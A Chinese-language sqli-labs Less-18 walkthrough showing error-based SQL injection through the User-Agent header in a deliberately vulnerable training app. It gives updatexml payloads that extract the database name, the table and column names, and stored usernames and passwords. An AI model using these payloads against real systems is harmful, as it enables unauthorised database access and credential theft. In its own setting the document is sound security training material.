sqli-labs 实验记录
Less-18
这一关使用sqlmap依旧无法得到相应的注入点,需要通过分析源码进行手动报错注入,且注入点与之前的关卡不同,为user-agent。
第一步:分析源码,查找注入点
分析下图源码中函数check_input发现,函数对输入的数据进行了过滤,主要进行三种过滤:
- 一是substr():截取前20个字符;
- 二是stripslashes():过滤转义字符'\';
- 三是mysql_real_escape_string():为非数字类型的数据添加" ' '",转为字符串。

既然源码对于用户输入的数据进行了过滤处理,我们主要考虑两种思路:一是对于过滤函数进行绕过;二是找到新的注入点。这里我们采用第二种方式,查找新的注入点。
结合上一关爆出的数据,在用户与密码栏中分别输入正确与错误的数据:uname=Dumb passwd=12 与passwd=Dumb


结果如图如示:在密码正确的页面返回了Your User Agent is: ......,密码错误的页面无任何回显。因此,我们考虑在User Agent这一点进行报错注入。
第二步:查询服务器中的所有数据库
使用hackbar插件,在user-agent注入点输入字符串:
1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '
updatexml 为报错注入函数。

查询结果如图所示:显示当前数据库为'security'。
第三步:查询指定数据库中的所有表
继续使用hackbar插件,在user-agent注入点输入字符串:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。
第四步:查询指定数据表中的所有列
继续使用hackbar插件,在user-agent注入点输入字符串:
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or '

查询结果如图所示:数据列共有3个,分别是id,username,password。
第五步:查询指定数据表中的具体信息
继续使用hackbar插件,在user-agent注入点输入字符串:
1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from security.users limit 0,1),0x7e),1) or '

结果如图所示:查询出一条数据,用户名为Dumb,密码为12。
如果需要继续查找其它数据,只需将"limit 0,1"中的'0',进行相应的修改,如"limit 1,1","limit 2,1"等等。